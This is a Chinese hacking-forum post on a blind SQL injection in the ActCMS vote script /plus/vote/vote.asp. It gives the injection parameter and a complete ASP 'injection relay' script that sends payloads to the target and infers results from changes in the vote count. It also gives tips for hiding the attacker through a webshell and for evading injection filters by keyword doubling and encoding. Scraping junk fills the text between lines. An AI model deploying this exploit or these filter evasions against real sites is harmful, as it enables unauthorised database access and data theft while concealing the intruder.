中国网络渗透测试联盟
标题:
注入中转的高级应用,actcms漏洞以及其他
[打印本页]
作者:
admin
时间:
2012-11-6 21:13
标题:
注入中转的高级应用,actcms漏洞以及其他
" H" h: m! A7 w" x* e
看到ninty大牛的blog的一篇文章
2 H2 g% J; a' s4 X" V% }
链接标记[url]http://www.forjj.com/?action=show&id=80
[/url]
5 |+ d- p2 @$ N' Y, p5 a
关于actcms漏洞的利用 by 3x qq:381862589
2 S2 W S; r8 P1 V6 S3 i5 K" ^# K, [
转载请注明以上
; _7 ], V& g) l# g) ]% T$ V$ w
漏洞文件:
' t% D5 o& Z b0 K
/plus/vote/vote.asp
X8 m6 s: Z$ q/ k& T4 ^& q
代码:
链接标记预览源代码
链接标记打印
链接标记关于
1if request("voted").count=0 then
/ h% k3 z; F+ i, a R
# {# s# Q1 i9 o: B' Y* V
2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
9 X" s* A% X m* I( y o5 q
3 O* Q6 n* s& p& U/ P& N% x' @
3 response.end
T% T! T& e/ J
; L+ S5 R* @; i- m- W
4 end if
# G: c: z' Z0 O% x/ W7 a/ h
& u, m A3 j$ N& T, P- {
5 for i=1 to request("voted").count
" c6 N4 C$ l. O7 O' h. R
# g0 B6 `8 z- k$ r
6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
7 ]9 f9 t0 \* t8 I
( I( n. [( O3 X) G6 W0 }
7 next
0 M# {: E! T6 I% r$ B: r
( `7 F9 I8 [/ Y* O# n8 U
8....
; T( g2 U' \5 _& {
9 R" L, Y: P, }' n
9response.Redirect "index.asp?id="&id&""
; U: r4 M% g, w7 g7 `' y
投票结束回跳转回index.asp这个投票结果页面
0 o% Z+ V$ y$ _! S$ r
如果投票成功票数加1
! a& n Y, V/ J1 y
失败票数不变
) d! ~8 B' r0 S9 k3 B
如图:
Z4 @6 Z! d4 T! y4 G9 f6 K
http://www.t00ls.net/images/default/attachimg.gif
http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg
链接标记下载
(3.95 KB)
+ K3 [: a$ B* {1 Y
7 a+ H$ s4 H2 q; c: C
2009-12-27 13:20
& c7 e6 _! G& o) Z) \
+ t8 `& g3 O! l1 P( Y
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
. M0 h- I% n# O, t
* T8 M0 Z. e, T8 l* R
本帖隐藏的内容需要回复才可以浏览
4 r& D) @2 h5 H, k0 T8 R
我们用注入中转来实现这个注入具体代码如下:
/ N) ]. p' O" N3 G& g5 @) ~5 w
先用寂寞的刺猬大牛的注入中转生成jmget.asp
) n2 {8 w; H; d* k8 }6 W
注入地址:http://localhost/actcms/plus/vote/vote.asp
9 d/ m% Z8 j; C$ Y" c
注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
+ F. ]; V" |: S" r3 i
3 t% z, z8 ?* L
然后进行修改变成如下代码:
链接标记预览源代码
链接标记打印
链接标记关于
01<%
/ d+ x& e, C2 i2 b
) c/ H( f' g) ?6 ?9 U6 g
02JmdcwName=request("jmdcw")
# L2 p2 a. L1 m: D6 t O7 ~
4 C7 n# x" J/ s. X) Y. F
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
' o8 b# H. B1 S) K: c
. L5 ~/ h9 C! _- V/ R+ v
04JmStr="id=1&voted=-1 or 1="&JmdcwName
+ q& s2 X+ @! z2 y9 B
% [' w4 U" {, R5 J
05JmStr=URLEncoding(JmStr)
8 _: m/ ?# B* R+ f6 j
! e+ U4 m( b7 A/ G$ M6 o9 s* e% ^7 Q
06JMUrl="
链接标记http://localhost/actcms/plus/vote/vote.asp
"
: ?1 K# s* J6 z+ J9 y o [& C
+ l8 g; I6 [4 `( p, o
07testurl="
链接标记http://localhost/actcms/plus/vote/index.asp
"
7 o# b% v% w' A- E3 |( e
* C2 l1 _# l! \7 D( V
08testurl=testurl & "?" & JmStr
& t8 D2 Z/ S6 {2 ?& B
2 E8 c. ]) c4 h) z
09JMUrl=JMUrl & "?" & JmStr
+ T) @8 V$ a' p& V
( P2 q$ h5 E" j; X- B% \& p5 T* U8 @7 A0 I
10JmRef="
链接标记http://localhost/actcms/plus/vote/vote.asp
"
$ ?6 \+ j1 J: N/ w4 `9 ^
. C8 u+ [( P7 B2 |5 z; E
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
: _% z1 I7 c7 b2 }, l
3 ^6 i: n) ?) v" e& L0 {
12JmCok=replace(JmCok,chr(32),"%20")
; J4 }$ y1 A) ]/ k
4 G/ s+ |' Z: a* R2 ]+ _ V
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
& q9 P, {: v( Y! v. [& x+ p8 H
( {' v2 m" b0 q! A7 s4 W; D) k) Y. D
14
3 `. }8 u7 y: n7 j) f/ b0 x) t
" ~2 h1 {7 l& O8 v' n
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
, S$ d' b- X( t8 w3 f) z3 e0 h
$ k/ w3 T: u' c9 l: [
16
8 j$ O+ r A7 T+ c2 ]
+ b9 q& Z, [5 Y+ }( k
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
. ]7 c& X) X, M$ _6 m
) p+ |- J4 T" y" d5 w5 q/ Z$ f
18response.write test1&""&test2&""
" ?# A; ?. E* o& {! C
3 k# H2 L: n' E# }! U' q
19
2 z7 }% S' x$ b& _7 J: v
4 R, K/ h$ D2 M1 ~
20if test1=test2 then '如前后记录相等,表示失败
0 C: w, e( V5 R, X$ E
- u# A0 B9 M2 I N$ G V
21 response.write "failed"
% b6 ^, R+ y6 ]& F. ?: _, y2 ^
* ?- q+ ~8 o, o, M6 A R5 Z
22else
# R0 _* u% c" T B4 ]& d6 j
# n) F# {/ D# I/ `. f
23 response.write "succeed"
" J: ] w* x/ k; Y' Z U3 j
, F& l% b6 x+ P, b3 f) b7 p2 g
24end if
7 N2 g \0 `8 `9 @
! L8 t" N" ]$ f8 v
25
9 j; F J7 v6 u; A$ |' }
0 A9 |. r8 c2 h- y, Z$ k" y4 j
26response.write "by 3x"
/ Z( ^: ?. ?3 t+ u- f, w
) |- {" B. u; \ o) z
27
F8 \, s- a/ Z, e6 {
5 u* z) a; f" j$ H w( Y
28
. z7 B! W0 N5 k
6 l& J% h, f0 e2 H9 k% v2 L
29Function PostData(PostUrl,PostStr,PostCok,PostRef)
) `* ^0 }1 \9 \& }" w* F
9 t3 B4 e2 U, O* K
30Dim Http
0 B; V4 X! ]0 {1 C( L. ~
3 V: A/ h; R( p) t3 J" [6 P, s
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
/ W2 j" Z, c8 M9 Y
* e) M. j2 @7 q$ e
32With Http
5 I) W, p+ n d3 B" |, n
% W$ Z" X8 W4 O$ F
33
# B/ M/ i. i* a2 o7 _+ U
0 I7 @ e) b ?3 G" I/ d M6 Q
34.Open "GET",PostUrl,False
' F" }: R1 M9 [+ K+ R
/ r$ Y" X, `# d# K0 ~- _
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
9 V( d3 v! L6 x1 E
( R4 P' j1 V# B% Z
36.SetRequestHeader "Referer",PostRef
/ M4 t' Y; z9 v( H+ `5 L
* n9 {$ |& ~6 H1 T& r
37.SetRequestHeader "Cookie",PostCok
; k2 }" W, a; I* [0 x) j9 U6 X/ O X$ @
/ @# j. w- K9 w* m4 A
38.Send ()
, k3 G5 n$ h( S6 f/ j
' U6 V ^" F7 V+ K" D6 C
39PostData = .ResponseBody
: z/ ?2 \! ^( M0 O2 M. G
0 R- c- ^$ F+ [+ }) e0 o7 W
40End With
) N$ g) @) H' _7 g1 [
6 a, `; j& W, h( ?. _3 Z" n
41Set Http = Nothing
& t) H- V9 P; g. b& C
: `: N4 u4 z4 I5 l
42PostData =bytes2BSTR(PostData)
& o' a! ~/ J: K$ }6 l2 s/ K
: V+ ^1 ^, S2 b# F
43End Function
4 y- b" V# J5 h2 z9 @
9 R+ j5 n% o3 N8 N2 R L
44
v, \9 u* T% F/ u0 N
5 h# e2 |8 p# V5 W" \. G; o
45
% @ L: J( G: x+ F+ A
6 Y: K% X9 j/ ?& @
46Function bytes2BSTR(vIn)
5 a d& } |# U( |. S' P$ L! [# `
2 _" I3 J- z+ C: a
47Dim strReturn
U' Q1 A0 \* o/ q1 w2 j! y" k5 u
. o$ B) {2 i' f( U
48Dim I, ThisCharCode, NextCharCode
1 f3 F* f: U: J, V4 |
' J& P/ g4 w3 j' |" z0 `+ e N
49strReturn = ""
; H7 m/ y! L" u, ~! j" n/ v6 p
' O* G( L9 w$ g3 O& }- P
50For I = 1 To LenB(vIn)
0 I# i+ N3 l j: }: p" J
5 r; `4 T9 ^/ T& O$ G4 r
51ThisCharCode = AscB(MidB(vIn, I, 1))
* H5 x) @ |- s! D
6 M% w6 ?; c8 [) N6 a5 d4 ?: P6 j0 T
52If ThisCharCode < &H80 Then
+ a. [% d) B6 B
# c# g9 l5 a; U5 L$ b
53strReturn = strReturn & Chr(ThisCharCode)
( K5 y R5 I( |- j6 K+ @! Q
+ S" Z0 T4 K/ ?. ?" ]" z, T
54Else
: P l, N. I- U$ I. j+ F3 s
& R9 S- [5 D# U; F9 I/ D8 D# Z, p
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
( t- N% l4 @0 D: t6 j
* C. v" x, c. z" P9 |0 O) T4 M1 p
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
- B% h% D( R, j( {" d5 P
B! n2 a8 t' ]
57I = I + 1
( n( Q1 W) e# }; n
! s( S, a- B% d$ }& H$ |6 b7 Z$ m( f( {
58End If
$ T, q7 {, L; _) \2 F" h$ U9 b
: G' R I- Q7 i5 C) H
59Next
M' t# r( S0 q, m; y9 n
) k- S: E" Y Y* A
60bytes2BSTR = strReturn
5 S4 a" C) G7 d2 ]' n2 D
6 N4 K# F, B8 c/ A
61End Function
1 T' T+ a# w8 [$ [/ Z. n; ~5 S! k* `
9 r2 m! ^- ^- N f& z w
62
. O; e7 h: ^9 V5 F# Y" V$ [
9 P8 e% [5 ?8 Q9 Z: d
63Function URLEncoding(vstrin)
; k' H9 ]4 u- Y1 }9 @6 d
" K1 S! q8 X# R; Z
64strReturn=""
. e/ ~, |" J; U& ^& h
# {) C1 @- f% ~% D
65Dim i
9 U# t' ]) y: z* w3 w- k+ W
. v1 u* `- i. `& w5 \
66For i=1 To Len(vstrin)
& }( K1 j4 W, s% }
# p3 H6 m1 G+ Z% I0 s9 N
67ThisChr=Mid(vstrin,i,1)
6 n9 B: d. H- s: _
% g& w# l. g0 }
68if Abs(Asc(ThisChr))< &HFF Then
0 `$ W n4 I% D% g7 X2 a+ ^
2 O; p9 L0 i9 s" m. I2 z( @7 L
69strReturn=strReturn & ThisChr
, Q6 i% m4 k5 c0 Z* ~# O& l
. a. h/ r/ J" j
70Else
l7 x- h% g* O* E3 l
: C z7 p5 Y: L
71InnerCode=Asc(ThisChr)
! f1 a+ x& v7 y m+ I/ b% F
7 K( z& E2 ^# s Y
72If InnerCode<0 Then
; q3 }8 R! F6 X1 ^
* X, y* G2 A8 o8 d" F$ L2 o- V
73InnerCode=InnerCode + &H10000
0 f# L: a, w' L1 O
: o) w7 a; X, }$ n* O& {, ?# [
74End If
- ?! x& N( I6 ~' D
+ p- S* u" a3 v( Q
75Hight1=(InnerCode And &HFF00) \&HFF
# y/ P! A: B6 o3 N
: i7 j8 r I% B& O
76Low1=InnerCode And &HFF
5 c% K( N; M# E- X# S% g
# _: t" F4 ]7 V' M" n7 m; h
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
; n; r/ ^/ v4 {5 ^+ g9 j( }
8 K% m5 h! e8 E( A
78End if
( l7 y: ]9 i% v2 e* f
0 Y7 d( E8 p j6 V; H. b
79Next
; A9 n" r) W0 T0 @
1 J8 z9 e8 \, J! o- D
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
3 |' ^" T8 M! x% u. O0 A; h
# G3 G$ ?; D0 o: m: D
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
# |) i2 K8 \4 ~, S$ ?$ X
4 w" S- |) j0 h1 M/ B
82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
! }/ p" `$ @2 T4 I! U
6 t6 h+ }3 J- q! D" V, y
83URLEncoding=strReturn
6 h) C! R" h; g! T( ^
& u& c* W# S& X' r; G0 K/ N
84End Function
% A: }, p' U, l& `
4 {/ Y/ P1 Q7 l$ }4 v
85
5 I. N, G! ~$ ?
, k4 {6 x3 D. i% a2 P
86function getSt(body)
) ]. {: `4 H3 p" Q( F& |
4 b9 {3 L) A& J3 d% E% I0 _
87 startpot=instr(body,"投票人数:")+len("投票人数:")
, Y( k6 I2 f, B/ V3 O* O
" [ H+ R8 [7 O
88 endpot=instr(startpot,body," ")
8 R- E. a0 j, H9 P* e4 j4 Z) B4 }7 `1 Q
6 }# ~5 P, Y& d( {$ ^
89 getSt=mid(body,startpot,endpot-startpot)
: a; a# D, [* C/ W; H! p
- L+ N; l+ \, t% l# e4 G6 ?0 ]8 @
90end function
W3 W C( E U1 g
0 Q x. d1 l- _8 F9 C( w
91%>
2 i9 l _7 y9 t( U: N
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
; Q. k( ?, S$ m# i% h5 A2 _
测试下效果:
# b5 o& {1 [, w% ?% q( e0 K5 w
投票成功:
! R; z8 v& r; D8 ?
http://www.t00ls.net/images/default/attachimg.gif
http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg
链接标记下载
(15.4 KB)
- ]' G* b& C! X6 ]6 o$ R
# p" J0 ~3 Y3 G: [8 G
2009-12-27 13:29
3 P, h7 v1 X- W0 C" O
投票失败
/ F9 T, C% [: F/ o
http://www.t00ls.net/images/default/attachimg.gif
http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg
链接标记下载
(13.72 KB)
3 |" e' G& ?$ q" C( w% A7 Z0 ]
1 \" b, j: G+ I3 ?. w
2009-12-27 13:29
5 L$ v4 q( Q7 a& v _% L
-------------------------------------------------------------------------------
" |) V0 Q5 }; U) X
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
, q% ^6 E* z2 i! I: i- L! L
很抱歉。。。只能用单线程工具去注入。。。。。
) G. Q1 }: B0 k" o( L/ |, I
所以失败。。。不好意思。。。
; { {1 ]0 W' Z0 {2 d; h( \
-------------------------------------------------------------------------------
% y+ P) g) Q' ^3 N$ x' `0 P
" Y* [2 S/ n$ ]9 |; \
注入中转的一些其他应用
% r! T7 z3 D) Z/ P& }% b
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
) w( \, }. [7 w! E
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
3 Z7 c3 q/ K/ }" _, Q, J
2.post注入转成get型的注入,方便我们使用工具来跑
3 ? j* V) L" N& b3 X9 A0 w P, D* ]( ~
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
\: ~3 j+ U6 L+ R+ M3 y7 {! z
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
, o* S( r) l3 n- K, K! Z/ S2 v' t
1 ~" j& \. K4 V. r- y5 T5 ^- i
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2